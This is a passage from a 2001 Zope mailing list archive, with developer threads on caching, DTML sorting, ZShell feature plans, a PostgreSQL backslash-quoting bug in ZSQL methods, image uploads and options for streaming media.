> > I haven't been able to find anything yet for Zope. It isn't something like > SESSION.(whatever) is it? > > Also, does anyone know of a place that may have working examples of things > of this nature. I'm thinking of publishing something like that (trials, > discoveries, obstacles, how I solved them, and the like) after I complete > this application. If I had something like that, it would benefit me greatly, > so if there isn't anything out there ... > > Thanks in advance, > Tommy > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From Oliver Bleutgen Fri May 4 15:04:06 2001 From: Oliver Bleutgen (Oliver Bleutgen) Date: Fri, 4 May 2001 16:04:06 +0200 Subject: [Zope] Question about cache management Message-ID: Hi zopistas, I'm currently trying to tune a site for production use. Now I'm thinking about how to best implement caching. My problem is that esp. the first two levels of the site are dynamically created from pulling together summary information from zclasses further down, and these "summary" pages all come from one index_html via acqusition. i.e. root folder index_html content folder content_folder_1 some zclasses content2_folder_2 some zclasses ..etc... So using bobobase_modification_time for the http-header isn't optimal I guess. Has anybody found a nice strategy to cleverly handle this kind of situation? Another question: Does anybody know how the RAM Cache Manager decides to purge an object? Is that just done by setting the "cleanup intervall" Btw: While doing testing I compared the RAM Cache Manager to apache's mod_proxy and to no cache at all. I got (on a PII 350 +64Meg) no cache: approx. 8 hits/sec Ram Cache: approx.: 50 hits/sec Apache+proxy approx: 500 hits/sec I know the reasons, but I found it nonetheless interesting. cheers, oliver From cduncan@kaivo.com Fri May 4 15:22:06 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 08:22:06 -0600 Subject: [Zope] Re: Product Creation and Permission] References: <20010503215103.25430.qmail@nwcst312.netaddress.usa.net> Message-ID: <3AF2BB0E.CFFEF6C@kaivo.com> Jason Joy wrote: > > I also found this interesting. > > In a regular vanilla DTML document, if you put this in: > > > > You'll get something like this back: > > jj > > However, in method B of my Product, when it goes to the index_html for the > product, and I put in the above, I get this back: > > Site Error > An error was encountered while publishing this resource. > > exceptions.TypeError > > Sorry, a site error occurred. > > Traceback (innermost last): > File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 223, in > publish_module > File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 187, in > publish > File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 171, in > publish > File /usr/local/Zope-2.3.2/lib/python/ZPublisher/mapply.py, line 160, in > mapply > (Object: index_html) > File /usr/local/Zope-2.3.2/lib/python/ZPublisher/Publish.py, line 112, in > call_object > (Object: index_html) > File /usr/local/Zope-2.3.2/lib/python/App/special_dtml.py, line 127, in > __call__ > (Object: index_html) > File /usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_String.py, line > 538, in __call__ > (Object: index_html) > File /usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_Util.py, line 334, > in eval > (Object: REQUEST['AUTHENTICATED_USER']) > (Info: REQUEST) > File , line 0, in ? > File /usr/local/Zope-2.3.2/lib/python/DocumentTemplate/DT_Util.py, line 161, > in careful_getitem > TypeError: sequence index must be integer > > Which I think is directly related to what I am experiencing with getting the > manage_main. > > Jason > Very interesting. Can you post the revised Python code of your product? -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Fri May 4 15:25:44 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 08:25:44 -0600 Subject: [Zope] Sorting mod.time with dtml-in? References: <3AF12072.29158.3068FAC8@localhost> <01050315201500.01878@tokey> <3AF16AF1.27D9B327@kaivo.com> <01050409323901.00747@tokey> Message-ID: <3AF2BBE8.D9065132@kaivo.com> "bak (kedai)" wrote: > > > > > Assuming version 2.3, try: > > > > > sort_expr="bobo_modification_time()"> > > > > since it is a method. > > > > hth, > > what's the difference between using sort and sort_expr? the sort=something > has been there since forever :) and i have been using it in my codes. is it > something bad? > > thanks No, that should work. The lack of quotes tells Zope it is a named attribute, so it will call it properly when it is a method like above. sort_expr lets you sort by a Python expression. You way is probably best though in this case. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From jasonic@nomadicsltd.com Fri May 4 15:33:43 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Fri, 4 May 2001 10:33:43 -0400 Subject: [Zope] [ANN] ZShell 0.1 References: <3AF2A97A.7AA923E6@sferacarta.com> Message-ID: <004801c0d4a7$38a5f0c0$c3090740@megapathdsl.net> "Jose Soares" wrote: > Fine. Actually I'm using a version of zopesh implemented by me > with such commands and I find those very useful. > IMHO this is the very powerful of a shell. > The other day I needed to change the words: > > with > > in a great number of documents > using sed 's// "mtd.provincie(reg='ER')">/g' * > I did this job in a while. > Imagine you what hard work searching and changing it by hand. Jose that's great.. Are you going to post the sed code somehere? Even though I do not know sed very well, I would still love to have it included in the toolkit. Your exmle alone is rason to learn to use it well. Is your version a completely separate one from Jerome's or an extension? Either way, everyone will benefit if you can merge your work asap :-) ZShells really bring Zope in line with the core Python design philosophy of interactive command line interpreter. They are a really important exciting addition to Zope and its Management Interface. Also cuold be connected in interesting ways to backend Python manipulation of Zope [live using ZEO]. I look forwards to having ZShell scripting .. any ideas how to do this right? today's top 10 wishlist--> 1. grep 2. find 3. history 4. pipes 5. if then loops 6. while do 7. environment variables 8. regular expressions 9. .zsh scripts 10 .zrc config ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From cduncan@kaivo.com Fri May 4 15:27:45 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 08:27:45 -0600 Subject: [Zope] Zope book error or version difference? References: <5.0.2.1.2.20010503220336.021d96e0@127.0.0.1> Message-ID: <3AF2BC61.8A0AACFE@kaivo.com> Dennis Nichols wrote: > > Zope Book .pdf fetched today says on page 258 > > >ObjectManager Constructor > > > >manage_addDocument(id, title) > > > >Add a DTML Document to the current ObjectManager > > But when I call manage_addDocument from DTML using in Zope 2.2.2, it > actually adds a DTML Method (!) > > However, manage_addDTMLDocument(id, title) does add a DTML Document. Could > be a change between 2.2.2 and 2.3.x or it could be an error in the book, in > which case I thought I should point it out. Or maybe I should've skipped > the beer with dinner. > > -- > Dennis Nichols > nichols@tradingconnections.com > AFAIK manage_addDocument is a deprecated API call from the days before there were both DTML methods and documents. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From humcommunications@hotmail.com Fri May 4 15:28:56 2001 From: humcommunications@hotmail.com (Lee Hunter) Date: Fri, 04 May 2001 10:28:56 -0400 Subject: [Zope] OO vs Relational Databases Message-ID: Interesting article on Slashdot this morning http://slashdot.org/features/01/05/03/1434242.shtml Looks at the pros and cons of usinng an OO database (the Zope model) versus rdbms. Cheers Lee Hunter _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. From cduncan@kaivo.com Fri May 4 15:29:44 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 08:29:44 -0600 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface References: <20010503211308.6766.qmail@web10104.mail.yahoo.com> <3AF22A47.AED75F3@artlover.com> <005201c0d46c$7c7a9a20$1c64a8c0@PBN> Message-ID: <3AF2BCD8.238D4890@kaivo.com> Peter Bengtsson wrote: > [snip] > > My main concern is for beginners (of Zope) and when you share an install > with more Z people. > So it has to be possible to _skin_ the ZMI in some way. Just like you can > with KDE for Linux. You can change the Look&Feel for _your_ user account, so > that different users have different icons on their desktop etc. > Would it not be possible to do something like this in the future for Zope. I > ask especially the DC folks who know more of Z's future. > I'll second that. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From drees@the-bridge.net Fri May 4 15:30:56 2001 From: drees@the-bridge.net (Steve Drees) Date: Fri, 4 May 2001 09:30:56 -0500 Subject: [Zope] Zope as Portal Server In-Reply-To: <20010503204022.3288.cpmta@c000.snv.cp.net> Message-ID: > Was researching something for work and was curious if anyone had > any thoughts as to how ZOPE could be used as a PORTAL SERVER? We could call it, ummm, Portal Toolkit. Yeah, that's the ticket. :) Check out http://cmf.zope.org From cduncan@kaivo.com Fri May 4 15:36:19 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 08:36:19 -0600 Subject: [Zope] Problem migrating a producto to Zope 2.3 References: <01050413490207.05680@escher> Message-ID: <3AF2BE63.649D856A@kaivo.com> Jorge Ferrer wrote: > > Hi all, > > I've developed a product for an Intranet using Zope 2.1 and I'm trying to > migrate to Zope 2.3. Almost everything han gone fine as I haven't used any > advanced feature, but I have some problems with the ZClasses which inherit > from OFS:File. > > BTW, the product consists on a container ZClass and several other ZClasses > which represent different types of documents. > > Here is what I've done: I installed Zope 2.3.1 on a new machine and > installed my product through a distribution file placed on the products > directory. When I make an instance of the Container ZClass everything goes > well and I can even make instances of some of the other ZClasses. But > everytime I try to make an instance of a ZClass which holds a file (by > inheriting from OFS:File) I get the following error: > > =========================== > Error Type: TypeError > Error Value: unsliceable object > [snip] Try upgrading to 2.3.2 there was a bug in 2.3.1 with instanciating ZClasses that subclassed base classes that has a method for their id (Which OFS.File does). That looks like the problem here. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From p.mayers@ic.ac.uk Fri May 4 15:37:24 2001 From: p.mayers@ic.ac.uk (Mayers, Philip J) Date: Fri, 4 May 2001 15:37:24 +0100 Subject: [Zope] \'s in ZSQL methods with Postgresql Message-ID: This: update tb1 set cl1=,who=,time=now() Called with: sqlmethod(val1='\') Fails with: Error Type: ProgrammingError Error Value: ERROR: parser: parse error at or near "loginname" update tb1 set cl1='\',who='loginname',time=now() Clearly the \ needs to be escaped. Is this Postgres specific? If so, why isn't the DA (ZPsycopg) quoting it? Running Zope 2.3.2 Regards, Phil +----------------------------------+ | Phil Mayers, Network Support | | Centre for Computing Services | | Imperial College | +----------------------------------+ From tdickenson@geminidataloggers.com Fri May 4 15:49:17 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Fri, 04 May 2001 15:49:17 +0100 Subject: [Zope] Question about cache management In-Reply-To: References: Message-ID: <24g5ft042uasrhjc4uesr2va9l3mi60c34@4ax.com> On Fri, 4 May 2001 16:04:06 +0200, Oliver Bleutgen wrote: >Has anybody found a nice strategy to cleverly >handle this kind of situation? Two options: PULL: scrounge modification times from all the individual objects that make up your page, every time the page is requested. PUSH: modify the critical methods that modify the state of the objects that make up your page, so that they maintain some global last-modified value. The best solution may be a combination of both. Toby Dickenson tdickenson@geminidataloggers.com From jose@sferacarta.com Fri May 4 16:06:45 2001 From: jose@sferacarta.com (Jose Soares) Date: Fri, 04 May 2001 17:06:45 +0200 Subject: [Zope] [ANN] ZShell 0.1 References: <3AF2A97A.7AA923E6@sferacarta.com> <004801c0d4a7$38a5f0c0$c3090740@megapathdsl.net> Message-ID: <3AF2C585.FBD3E3AD@sferacarta.com> I'm sorry to disapoint you Jason but I'm talking about zopesh Copyrighted by Stefane Fermigier, www.fermigier.com. Jason Cunliffe wrote: > "Jose Soares" wrote: > > Fine. Actually I'm using a version of zopesh implemented by me > > with such commands and I find those very useful. > > IMHO this is the very powerful of a shell. > > The other day I needed to change the words: > > > > with > > > > in a great number of documents > > using sed 's// > "mtd.provincie(reg='ER')">/g' * > > I did this job in a while. > > Imagine you what hard work searching and changing it by hand. > > Jose that's great.. > Are you going to post the sed code somehere? > > Even though I do not know sed very well, I would still love to have it > included in the toolkit. Your exmle alone is rason to learn to use it well. > > Is your version a completely separate one from Jerome's or an extension? > Either way, everyone will benefit if you can merge your work asap :-) > > ZShells really bring Zope in line with the core Python design philosophy of > interactive command line interpreter. They are a really important exciting > addition to Zope and its Management Interface. Also cuold be connected in > interesting ways to backend Python manipulation of Zope [live using ZEO]. > > I look forwards to having ZShell scripting .. any ideas how to do this > right? > > today's top 10 wishlist--> > > 1. grep > 2. find > 3. history > 4. pipes > 5. if then loops > 6. while do > 7. environment variables > 8. regular expressions > 9. .zsh scripts > 10 .zrc config > > ./Jason > ___________________________________________________________ > Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] From cduncan@kaivo.com Fri May 4 16:03:26 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Fri, 04 May 2001 09:03:26 -0600 Subject: [Zope] \'s in ZSQL methods with Postgresql References: Message-ID: <3AF2C4BE.EF78F3B1@kaivo.com> "Mayers, Philip J" wrote: > > This: > > update tb1 set cl1=,who= "REQUEST.AUTHENTICATED_USER">,time=now() > > Called with: > > sqlmethod(val1='\') > > Fails with: > > Error Type: ProgrammingError > Error Value: ERROR: parser: parse error at or near "loginname" update tb1 > set cl1='\',who='loginname',time=now() > > Clearly the \ needs to be escaped. Is this Postgres specific? If so, why > isn't the DA (ZPsycopg) quoting it? Running Zope 2.3.2 > > Regards, > Phil > Yes, the error is coming from postgres. In theory the sqlvar tag should be dealing with this (it should be escaping '\' as '\\'). My hunch is that it is a bug in the DA so it is not telling sqlvar how to properly quote it. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From fog@mixadlive.com Fri May 4 16:05:13 2001 From: fog@mixadlive.com (Federico Di Gregorio) Date: Fri, 4 May 2001 17:05:13 +0200 Subject: [Zope] Re: [Psycopg] \'s in ZSQL methods with Postgresql In-Reply-To: ; from p.mayers@ic.ac.uk on Fri, May 04, 2001 at 03:37:24PM +0100 References: Message-ID: <20010504170513.B923@mixadlive.com> Scavenging the mail folder uncovered Mayers, Philip J's letter: > This: > > update tb1 set cl1=,who= "REQUEST.AUTHENTICATED_USER">,time=now() > > Called with: > > sqlmethod(val1='\') > > Fails with: > > Error Type: ProgrammingError > Error Value: ERROR: parser: parse error at or near "loginname" update tb1 > set cl1='\',who='loginname',time=now() > > Clearly the \ needs to be escaped. Is this Postgres specific? If so, why > isn't the DA (ZPsycopg) quoting it? Running Zope 2.3.2 you are right, quoting will be fixed in the next release (we use psycopg much more than ZPsycopgDA, so this one still has some rought edges...) btw, what does 'type=nb' means? (i only know of string and int...) ciao, federico -- Federico Di Gregorio MIXAD LIVE Chief of Research & Technology fog@mixadlive.com Debian GNU/Linux Developer & Italian Press Contact fog@debian.org Try the Joy of TeX [http://www.tug.org] -- brought to you by One Line Spam From alet@unice.fr Fri May 4 16:03:26 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 4 May 2001 17:03:26 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.1 In-Reply-To: <004801c0d4a7$38a5f0c0$c3090740@megapathdsl.net> Message-ID: On Fri, 4 May 2001, Jason Cunliffe wrote: > "Jose Soares" wrote: > > using sed 's// > "mtd.provincie(reg='ER')">/g' * > > I did this job in a while. > > Imagine you what hard work searching and changing it by hand. > > Is your version a completely separate one from Jerome's or an extension? > Either way, everyone will benefit if you can merge your work asap :-) good idea, any help is welcome. > today's top 10 wishlist--> > > 1. grep > 2. find > 3. history > 4. pipes > 5. if then loops > 6. while do > 7. environment variables > 8. regular expressions > 9. .zsh scripts > 10 .zrc config the itseasiertodointhisorder list seems to be different... What I need to know from ZShell users is: Do you prefer that grep and/or sed work on the main content only or also on properties for each object ? It's not evident what I should do. Does someone already have a shell expansion routine, which behaves like bash for example ? What I lack most is how to explode the command line taking care of quotes, the rest I know how to do. Do you prefer for the history to be stored as a property of the root folder, a property of each different folder in which you use zshell, or as an external file ? Same question for .zrc Pipes will be somewhat difficult because my output is very HTML centric... and because pipes are pipes :-( Do you want ls to stay simple and use find when you want complicated things or do you want both ls and find to be complicated ? (I already know the answer) Doing .zsh scripts I don't know how, neither do I for "if", "for" and "while" Do you want to be able to set environnement variables ? Is it possible or not ? If yes, I don't know, so any help is appreciated. Do you want for zshell to reuse the user's preferences in ZMI (width, height) for its textarea ? What I would like to do is a su command, but don't know how. Current plan is: Partly in CVS: lsprop, delprop, addprop, chgprop mkver, delver, loginv, logoutv This week-end I hope: history environment variables grep, sed, find export, exportxml The Secret Ideas for next week (if possible at all) : su python Do you see other things you need ? bye, Jerome Alet From p.mayers@ic.ac.uk Fri May 4 16:49:24 2001 From: p.mayers@ic.ac.uk (Mayers, Philip J) Date: Fri, 4 May 2001 16:49:24 +0100 Subject: [Zope] RE: [Psycopg] \'s in ZSQL methods with Postgresql Message-ID: Ok, thanks. Regards, Phil +----------------------------------+ | Phil Mayers, Network Support | | Centre for Computing Services | | Imperial College | +----------------------------------+ -----Original Message----- From: Federico Di Gregorio [mailto:fog@mixadlive.com] Sent: 04 May 2001 16:05 To: Mayers, Philip J Cc: 'psycopg@lists.initd.org'; 'zope@zope.org' Subject: Re: [Psycopg] \'s in ZSQL methods with Postgresql Scavenging the mail folder uncovered Mayers, Philip J's letter: > This: > > update tb1 set cl1=,who= "REQUEST.AUTHENTICATED_USER">,time=now() > > Called with: > > sqlmethod(val1='\') > > Fails with: > > Error Type: ProgrammingError > Error Value: ERROR: parser: parse error at or near "loginname" update tb1 > set cl1='\',who='loginname',time=now() > > Clearly the \ needs to be escaped. Is this Postgres specific? If so, why > isn't the DA (ZPsycopg) quoting it? Running Zope 2.3.2 you are right, quoting will be fixed in the next release (we use psycopg much more than ZPsycopgDA, so this one still has some rought edges...) btw, what does 'type=nb' means? (i only know of string and int...) ciao, federico -- Federico Di Gregorio MIXAD LIVE Chief of Research & Technology fog@mixadlive.com Debian GNU/Linux Developer & Italian Press Contact fog@debian.org Try the Joy of TeX [http://www.tug.org] -- brought to you by One Line Spam From lstafford@morphics.com Fri May 4 17:03:40 2001 From: lstafford@morphics.com (Loren Stafford) Date: Fri, 4 May 2001 09:03:40 -0700 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: A term I've heard other developers use for the practice of extracting data from a foreign system by capturing ("scraping") data from it's "screen" displays instead of from well-defined interfaces. -- Loren > -----Original Message----- > From: Marc Fischer [mailto:marcbpc@gmx.de] > Sent: Friday, May 04, 2001 01:50 > To: Loren Stafford; Marc Fischer > Cc: zope@zope.org > Subject: AW: AW: AW: [Zope] Source from form result. > > > > > > Did you get enough new material to write a HowTo? "How To > Screen Scrape" > > > > -- Loren > > > > I could. But what do you mean with "Screen Scrape" ??? > > Marc > > > > From dave@kovach.com Fri May 4 17:01:55 2001 From: dave@kovach.com (dave@kovach.com) Date: 4 May 2001 09:01:55 -0700 Subject: [Zope] Zope as Portal Server Message-ID: <20010504160155.19675.cpmta@c000.snv.cp.net> Steve - Please go back and read other messages in this thread. As, CMF is not the same thing as I am talking about. I am talking about having CONNECTORS into different enterprise applications that then use ZOPE to handle security, state, other informational content etc. As far as I can see... CMF is very content-portal driven... Its original name Portal Toolkit was more appropriate for what I am talking about - obviously thats why its now called CMF (?!?). The CONNECTORS create a "user cockpit" of mini-applications to do specific tasks from one interface rather than having 4 or 5 applications open at the same time - creates a more productive enterprise work environment thats focused on what the users need to get done. It isnt about managing NEWS content (though, portals of today take in any content/application data)... so, they steal alot of the premise behind a corporate intranet too. Of course, this discertation is way off my point which was to discuss ZOPE as an application server with extensions that provide data connection into different corporate applications... David Kovach dave@kovach.com On Fri, 04 May 2001, "Steve Drees" wrote: > > > Was researching something for work and was curious if anyone had > > any thoughts as to how ZOPE could be used as a PORTAL SERVER? > > We could call it, ummm, Portal Toolkit. Yeah, that's the ticket. > > :) > > Check out http://cmf.zope.org _____________________________________________________ Get your name as your email and web site address. http://www.NetIdentity.com. Be somebody online. From lstafford@morphics.com Fri May 4 17:06:22 2001 From: lstafford@morphics.com (Loren Stafford) Date: Fri, 4 May 2001 09:06:22 -0700 Subject: [Zope] Uploading images - no image! In-Reply-To: <6CBE5E8F222DCA4C910079182C5C93E48DC778@TERRASERVER.GEOSPACE.CO.ZA> Message-ID: Make sure your form is declared like this:
The part that says ENCTYPE="multipart/form-data" is the essential part for upload applications. -- Loren > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of > Etienne Labuschagne > Sent: Friday, May 04, 2001 00:32 > To: Zope user list (E-mail) > Subject: [Zope] Uploading images - no image! > > > Hi there > > The Python Method (not external Python Method!) below must upload an image > after being given the id, title and filename (on the client > computer). This > should work the same way as the management interface based image > uploading. > Somehow, this function causes the image to be created, but is seems to > contain no image data (you cannot view the image). What am I doing wrong? > > > (self is passed as the only parameter. id, title and file are set in the > calling form) > > id = self.REQUEST['id'] > title = self.REQUEST['title'] > file = self.REQUEST['file'] > > self.manage_addProduct['OFSP'].manage_addImage(id,file,title) > > return "Your image is uploaded." > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From marc@bowery.com Fri May 4 17:26:41 2001 From: marc@bowery.com (marc lindahl) Date: Fri, 04 May 2001 12:26:41 -0400 Subject: [Zope] [FEATURE REQUEST] Improving Zope's management interface In-Reply-To: <3AF2BCD8.238D4890@kaivo.com> Message-ID: For now, could be done using the HOTFIX technique, no? http://www.zope.org/Members/Caseman/Dynamic_Hotfix > From: Casey Duncan > Organization: Kaivo, Inc. (www.kaivo.com) > Date: Fri, 04 May 2001 08:29:44 -0600 > To: Peter Bengtsson > Cc: Ausum , zope@zope.org > Subject: Re: [Zope] [FEATURE REQUEST] Improving Zope's management interface > > Peter Bengtsson wrote: >> > [snip] >> >> My main concern is for beginners (of Zope) and when you share an install >> with more Z people. >> So it has to be possible to _skin_ the ZMI in some way. Just like you can >> with KDE for Linux. You can change the Look&Feel for _your_ user account, so >> that different users have different icons on their desktop etc. >> Would it not be possible to do something like this in the future for Zope. I >> ask especially the DC folks who know more of Z's future. >> > > I'll second that. > > From zope-mailinglist Fri May 4 17:35:40 2001 From: zope-mailinglist (zope-mailinglist) Date: Fri, 4 May 2001 18:35:40 +0200 Subject: [Zope] best streaming practice?? Message-ID: <002601c0d4b8$420e0560$6400a8c0@monty> hello is there anybody who has experience with streaming audio and video files from zope? does anybody no a good solution, maybe for use in a python product ? thx From andreas@digicool.com Fri May 4 17:44:40 2001 From: andreas@digicool.com (Andreas Jung) Date: Fri, 4 May 2001 12:44:40 -0400 Subject: [Zope] best streaming practice?? References: <002601c0d4b8$420e0560$6400a8c0@monty> Message-ID: <028f01c0d4b9$83871440$d0063bd0@SUXLAP> I don't know a general solution for Zope but for streaming MP3 you should take a look at http://edna.sourceforge.net/ . Andreas ----- Original Message ----- From: "zope-mailinglist" To: Sent: Friday, May 04, 2001 12:35 PM Subject: [Zope] best streaming practice?? > hello > > is there anybody who has experience with streaming audio and video files > from zope? > > does anybody no a good solution, maybe for use in a python product ? > > thx > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From kedai@kedai.com.my Fri May 4 17:39:52 2001 From: kedai@kedai.com.my (Bak @ kedai) Date: Sat, 5 May 2001 00:39:52 +0800 Subject: AW: AW: [Zope] Source from form result. Message-ID: <008401c0d4b9$22d693a0$645eb8ca@defaultcn> -----Original Message----- From: Loren Stafford To: Marc Fischer Cc: zope@zope.org Date: Saturday, May 05, 2001 12:02 AM Subject: RE: AW: AW: [Zope] Source from form result. >A term I've heard other developers use for the practice of extracting data >from a foreign system by capturing ("scraping") data from it's "screen" >displays instead of from well-defined interfaces. > >-- Loren > also, there's a product that do this specifically, although not as polished. now in alpha, awaiting comments, help, pointers. http://www.zope.org/Members/kedai/KebasData From barryp@medicine.nodak.edu Fri May 4 18:01:53 2001 From: barryp@medicine.nodak.edu (Barry Pederson) Date: Fri, 04 May 2001 12:01:53 -0500 Subject: [Zope] [ANN] CMFLDAP product released References: Message-ID: <3AF2E081.F49C4E86@medicine.nodak.edu> Ben Riga wrote: > > I tried to get this working on a Windows system a while back but was never > able to get all the pieces together. It appears that the underlying LDAP > objects are primarily available only on Linux. > > Now that this is available for CMF I'd like to try this again. Do you know > of a site where I could get information on setting this up for Windows NT or > 2K? Sounds like you guys are looking for: http://www.it.uq.edu.au/personal/leonard/dc-prj/ldapmodule/ particularly, the section titled: Precompiled WIN32 install instructions It's got a link to the UMich LDAP binaries (you just need one DLL from there), and link to a zip file containing a ldap.pyd - which I just tried and seems to with with the Python 1.5.2 that comes with Zope 2.3.2. However, don't know if that .pyd file is current enough to work with the current Zope products (the .pyd looks like it might be v1.5a, while the current version on sourceforge is 1.10a3). I've been able to compile ldap.pyd files of v 1.10a3 for Python 2.0 and 2.1, and could try making a Python 1.5.2 if it's needed and none can be found elsewhere. Sure will be nice when Zope gets caught-up to Python 2.1. Barry From augusto@artlover.com Fri May 4 18:36:13 2001 From: augusto@artlover.com (Ausum) Date: Fri, 04 May 2001 12:36:13 -0500 Subject: [Zope] best streaming practice?? References: <002601c0d4b8$420e0560$6400a8c0@monty> <028f01c0d4b9$83871440$d0063bd0@SUXLAP> Message-ID: <3AF2E88D.74BBC890@artlover.com> Both popular current streamming solutions are copyrighted. I prefer Windows Media because as it's bundled within Windows 2000 server, it offers an almost turnkey solution for producing streamming files. (I never though I was going to say it, but the overall media quality is better than RealNetworks's.) If I were to give an immediate answer, I'd say: Use Windows Media to produce files and serve them, LocalFS to bring pre-streamming media files directories into Zope, and write your own Zope logic to translate a request to LocalFS content, to correspondant URLs to the streamming media server. Then, if I were still in budget, I'd contract Akamai to speed up my streams. As I said it before, LocalFS needs some aditional work to offer full acquisition features and metadata storing, but it's the entrance door to a fully featured media asset management system. Ausum Andreas Jung wrote: > > I don't know a general solution for Zope but for streaming MP3 > you should take a look at http://edna.sourceforge.net/ . > > Andreas > ----- Original Message ----- > From: "zope-mailinglist" > To: > Sent: Friday, May 04, 2001 12:35 PM > Subject: [Zope] best streaming practice?? > > > hello > > > > is there anybody who has experience with streaming audio and video files > > from zope? > > > > does anybody no a good solution, maybe for use in a python product ? > > > > thx > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From jasonic@nomadicsltd.com Fri May 4 19:08:56 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Fri, 4 May 2001 14:08:56 -0400 Subject: [Zope] best streaming practice?? References: <002601c0d4b8$420e0560$6400a8c0@monty> Message-ID: <00fc01c0d4c5$4a3e0c00$c3090740@megapathdsl.net> Good question. I am also researching Audio+Video streaming Zope tools. A couple of immediate suggestions : 1. Radio Free Pete Free, uses GPL tools, crass platform playback, authoring Win32 + Linux http://www.zope.org/Members/pgautier/rfp/ZRFP/ Radio Free Pete is an mp3 jukebox. With it you can: Index your mp3 files Control your icecast server Stream mp3s to icecast Create multiple streams Manage playlists Rate, request, and skip songs In short, you can use for anything from a personal mp3 organizer and jukebox to a global Internet radio station. Radio Free Pete uses Icecast www.icecast.org 2. Flix www.wildform.com $99 Video Streaming via Flash Authoring on Win23 uses Quicktime and Windows Media running Cross-platform playback wherever Flash player is installed This is a very strange rather amazing new tool. Flash does not really 'do' video. But flash has streaming. So Flix converts video using Quicktime or windows media tools into .swf files. The clever thing is one has good control over the interface which no other Video web solution offers. They all force one into using their ugly pop-up separate ad-laden players. With Flix you can create your own interface, including overlays, titling, navigation, metadata, whatever .. Flix scales to bandwidth very nicely. It is very fast, has small footprint and is effective. The application is a starighforward easy-to-use tool. It has lower visual quality in general than other video streaming, depending upon settings and your audiences needs, so this may rule it out. I will be surprised if Flix does not get a lot of use by porn industry. They are always first to exploit [ahem] adopt fast, cheap, working, _understandable_ plug'n'play technology. Check the online samples at Wildform, download a demo and make some tests of your own source at different settings. I did & promptly bought a copy:-) I am working to have ZopeFlashVideo site up soon The distinct advantages are control of interface and speed. For example, it makes a great video catalog/server interface using Zope. Flash integrates very well with Zope for several reasons: - Similar container context object paradigm - Uses ActionScript [JavaScript EcmasScript variant] which makes for easy trnaslations to/from Python programming - inteface to Zope and pass data via getURL() and loadVariables() functions - includes XML handling for fast data passing and better asbtraction 3. Comments Flix can also be used for the Audio only. I need to test this altertative. Flash also does audio streaming so you can go that route too. But RadioFreePete/Icecast seems a better path for pure audio. The icecast sites I have been listening to recently are pretty good. http://yp.icecast.org/index.html?search=all hth & please do keep me posted of any ideas/tools/work ./Jason ___________________________________________________________ Jason CUNLIFFE = NOMADICS['Interactive Art and Technology'] ----- Original Message ----- From: "zope-mailinglist" To: Sent: Friday, May 04, 2001 12:35 PM Subject: [Zope] best streaming practice?? > hello > > is there anybody who has experience with streaming audio and video files > from zope? > > does anybody no a good solution, maybe for use in a python product ? From zope-mailinglist Fri May 4 19:20:55 2001 From: zope-mailinglist (zope-mailinglist) Date: Fri, 4 May 2001 20:20:55 +0200 Subject: [Zope] best streaming practice?? References: <002601c0d4b8$420e0560$6400a8c0@monty> Message-ID: <003401c0d4c6$f64453a0$6400a8c0@monty> thanks for your answers isnt there a solution for unix/linux? my solution should run on freebsd 4.3 i would like to stream mpeg2 or (in my dreams) mpeg4 (divx) :) i took a look at darwin - but it seems that it only understands qt format dono if i'm right ----- Original Message ----- From: "zope-mailinglist" To: Sent: Friday, May 04, 2001 6:35 PM Subject: [Zope] best streaming practice?? > hello > > is there anybody who has experience with streaming audio and video files > from zope? > > does anybody no a good solution, 